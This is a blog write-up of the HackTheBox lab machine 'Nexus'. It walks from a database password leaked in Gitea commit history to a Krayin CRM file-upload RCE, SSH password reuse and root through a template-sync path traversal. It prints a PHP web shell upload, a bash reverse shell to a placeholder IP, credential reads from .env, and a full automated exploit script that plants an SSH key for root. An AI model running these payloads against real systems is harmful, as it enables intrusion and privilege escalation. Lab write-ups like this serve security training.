Back to blog
← Back to posts

HTB: Nexus


Nexus revolves around a self-hosted Gitea instance backing a Krayin CRM deployment. The foothold is entirely credential-driven: a stale commit in a public Gitea repo leaks the CRM's database password, which unlocks an authenticated file-upload RCE in Krayin's email composer. From www-data, a .env file hands over a second password that gets reused straight into SSH. Root comes from a Gitea template-sync path traversal — a systemd timer that replays pushed git objects onto disk as root without sanitizing ../, which I turned into a small automated exploit script.
Gitea commit history leak Krayin CRM creds TinyMCE upload RCE www-data .env password reuse jones (SSH) gitea-template-sync path traversal root

Reconnaissance

Nmap

Two ports up front:

nmap
SP1R4@kali)-[~] └$ nmap -sC -sV -A <TARGET_IP> -oA nexus PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http nginx 1.24.0 |_http-title: Did not follow redirect to http://nexus.htb

Add the hostname and re-check the vhost:

/etc/hosts
SP1R4@kali)-[~] └$ echo "<TARGET_IP> nexus.htb" | sudo tee -a /etc/hosts

The landing page discloses an internal contact address, j.matthew@nexus.htb — a naming pattern worth keeping for later. A vhost/subdomain sweep turns up the real attack surface:

ffuf — vhost enum
SP1R4@kali)-[~] └$ ffuf -w subdomains.txt -H "Host: FUZZ.nexus.htb" -u http://<TARGET_IP> -fs <baseline_size> git [Status: 200] billing [Status: 200]
HostServiceNotes
git.nexus.htbGiteaSelf-hosted git, public repos browsable
billing.nexus.htbKrayin CRM 2.2.0Login-gated

Credential Leak in Gitea Commit History

The public repo admin/krayin-docker-setup is exactly what it says — the deployment scaffolding for the CRM. The current tree is clean, but the commit log isn't; an earlier commit still carries the database credentials before they were scrubbed:

git log -p — krayin-docker-setup
SP1R4@kali)-[~] └$ git clone http://git.nexus.htb/admin/krayin-docker-setup.git SP1R4@kali)-[~] └$ cd krayin-docker-setup && git log -p --all -- .env docker-compose.yml - DB_USERNAME=j.matthew@nexus.htb - DB_PASSWORD=N27xh!!2ucY04
Never assume a scrubbed commit stayed scrubbed — git log -p against a repo's full history routinely resurrects "removed" secrets, since deleting a line in a new commit doesn't touch the blob still referenced by the old one.

Initial Foothold — Authenticated File Upload RCE (Krayin CRM)

Same credentials, different service — they log straight into Krayin CRM on billing.nexus.htb. Krayin's email composer uses TinyMCE, whose image-upload endpoint is where the fun starts: it accepts the file based on the client-supplied extension, not the actual content, so a PHP payload disguised as an image sails through.

Burp — TinyMCE upload, Compose Email
# Mail → Compose → drag in image.png, intercept the POST in Burp POST /admin/mail/compose/upload HTTP/1.1 Host: billing.nexus.htb Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/png <?php system($_GET['cmd']); ?>

Krayin stores the upload under a hashed filename and returns the path, no extension re-check on the way in:

trigger — www-data shell
SP1R4@kali)-[~] └$ curl "http://billing.nexus.htb/storage/tinymce/<hash>.php?cmd=id" uid=33(www-data) gid=33(www-data) groups=33(www-data) SP1R4@kali)-[~] └$ curl "http://billing.nexus.htb/storage/tinymce/<hash>.php?cmd=bash+-c+'bash+-i+%3E%26+/dev/tcp/<YOUR_IP>/4444+0%3E%261'"
Reverse shell as www-data — content-type validation missing on the TinyMCE media endpoint let a .php file land inside a web-servable storage path.

Post-Exploitation — Krayin .env

Standard second pass for a PHP app: the framework's own environment file.

www-data — .env
www-data@nexus:/var/www/html/krayin$ cat .env | grep -i pass DB_USERNAME=krayin DB_PASSWORD=y27xb3ha!!74GbR www-data@nexus:/var/www/html/krayin$ cat /etc/passwd | grep 1000 jones:x:1000:1000::/home/jones:/bin/bash

Lateral Movement — SSH as jones (Password Reuse)

The Krayin DB password works verbatim against jones's SSH login:

ssh — jones
SP1R4@kali)-[~] └$ ssh jones@nexus.htb Password: y27xb3ha!!74GbR jones@nexus:~$ id uid=1000(jones) gid=1000(jones) groups=1000(jones) jones@nexus:~$ cat user.txt HTB{REDACTED}
🚩 User flag captured — the CRM's database password was reused verbatim for jones's SSH account.

Enumeration as jones — the Template Sync Timer

A linpeas pass turns up an active systemd timer with an unusually short interval:

jones — systemctl
jones@nexus:~$ systemctl list-timers NEXT LEFT LAST PASSED UNIT ACTIVATES Thu 2026-08-04 12:01:00 UTC 41s - - gitea-template-sync.timer gitea-template-sync.service jones@nexus:~$ systemctl cat gitea-template-sync.service [Service] User=root ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py

The script runs as root, every 60 seconds. Reading it shows why that's a problem — it walks a pushed template repo with git ls-tree/git cat-file and writes every entry straight to a target path built from the tree entry's name, with no check for ../:

/etc/gitea/template-sync.py — the bug
jones@nexus:~$ cat /etc/gitea/template-sync.py for entry in run(["git", "ls-tree", "-r", ref]).splitlines(): mode, _, blob, path = entry.split(None, 3) # path comes straight from the git tree, unsanitized dest = os.path.join(STAGING_ROOT, path) data = run(["git", "cat-file", "-p", blob]) write(dest, data) # no realpath/containment check against STAGING_ROOT
os.path.join with an attacker-controlled second argument doesn't sanitize ../ — a git tree entry literally named ../../../../../root/.ssh/authorized_keys writes exactly there once the sync service (root) runs the checkout. Any repo marked as a template in Gitea gets synced.

Privilege Escalation to Root — Gitea Template Sync Path Traversal

I wrapped the whole chain into a single script rather than replaying it by hand each time: mint an API token, stand up a template repo, commit a git tree that traverses out of the staging root into /root/.ssh, push it, wait one sync cycle, then SSH in on the planted key.

exploit.sh
#!/bin/bash # Nexus Privilege Escalation - Automated Exploit # Exploits: Gitea template sync path traversal (runs as root) GITEA="http://localhost:3000" USER="jones" PASS='y27xb3ha!!74GbR' TARGET="<TARGET_IP>" # STEP 1: local SSH keypair to plant as root's authorized_keys ssh-keygen -t ed25519 -f /tmp/.exploit_key -N '' -q PUBKEY=$(cat /tmp/.exploit_key.pub) # STEP 2: mint a Gitea API token as jones TOKEN=$(curl -s -X POST $GITEA/api/v1/users/$USER/tokens \ -H "Content-Type: application/json" \ -u "$USER:$PASS" \ -d '{"name":"auto_token","scopes":["write:repository"]}' \ | grep -o '"sha1":"[^"]*"' | cut -d'"' -f4) # STEP 3: create a repo and mark it as a Gitea template # (only template repos get pulled by the sync service) curl -s -X POST $GITEA/api/v1/user/repos \ -H "Authorization: token $TOKEN" \ -d '{"name":"rce","private":false}' > /dev/null curl -s -X PATCH $GITEA/api/v1/repos/$USER/rce \ -H "Authorization: token $TOKEN" \ -d '{"template":true}' > /dev/null # STEP 4: build a git tree that traverses out of the sync staging dir mkdir -p /tmp/rce_exploit && cd /tmp/rce_exploit git init mkdir -p "../../../../../root/.ssh" echo "$PUBKEY" > "../../../../../root/.ssh/authorized_keys" git add . && git commit -m "Template injection" # STEP 5: push — the next sync cycle replays this tree as root git remote add origin http://localhost:3000/$USER/rce.git git push -u origin main # STEP 6: wait one sync interval (60s) sleep 65 # STEP 7/8: key should now be live in /root/.ssh — connect ssh -i /tmp/.exploit_key -o StrictHostKeyChecking=no root@$TARGET

Run against the box:

exploit run
jones@nexus:~$ ./exploit.sh [*] STEP 1: Generating SSH key pair... [+] SSH key generated at /tmp/.exploit_key [*] STEP 2: Obtaining Gitea API token... [+] Token acquired: <token> [*] STEP 3: Creating template repository... [+] Repository created and marked as template [*] STEP 4: Building malicious git objects... [+] Malicious git objects ready [*] STEP 5: Pushing to Gitea repository... [+] Pushed to repository [*] STEP 6: Waiting for template sync (runs every 60 seconds)... [+] Sync period should have completed [*] STEP 7: Verifying SSH key installation... [+] SUCCESS! SSH key installed in /root/.ssh/authorized_keys [*] STEP 8: Spawning root shell... root@nexus:~# id uid=0(root) gid=0(root) groups=0(root) root@nexus:~# cat /root/root.txt HTB{REDACTED}
🚩 Root flag captured. The template-sync service trusted every path inside a pushed git tree and replayed it onto disk as root — marking a repo template: true was the only gate, and jones already had write access to create one.

Summary

StageTechniqueTool
ReconVhost discovery — Gitea + Krayin CRM behind the main siteffuf
Credential leakDB password left in an old, unreverted Gitea commitgit log -p
FootholdAuthenticated TinyMCE upload RCE — extension-only validationBurp Suite, curl
Credential theftPlaintext DB password in Krayin's .env
Lateral movePassword reuse (Krayin DB → jones SSH)ssh
RootGitea template-sync git ls-tree path traversal, root timerCustom bash exploit

Key commands

quick reference
# Enumeration ffuf -w subdomains.txt -H "Host: FUZZ.nexus.htb" -u http://<IP> -fs <size> git log -p --all -- .env docker-compose.yml # TinyMCE upload RCE (Krayin CRM) curl "http://billing.nexus.htb/storage/tinymce/<hash>.php?cmd=id" # Post-exploit cat /var/www/html/krayin/.env | grep -i pass # Gitea template-sync path traversal → root systemctl list-timers | grep gitea curl -s -X POST $GITEA/api/v1/users/$USER/tokens -u "$USER:$PASS" \ -d '{"name":"t","scopes":["write:repository"]}' curl -s -X PATCH $GITEA/api/v1/repos/$USER/rce -H "Authorization: token $TOKEN" \ -d '{"template":true}' mkdir -p "../../../../../root/.ssh" && git add . && git commit -m x && git push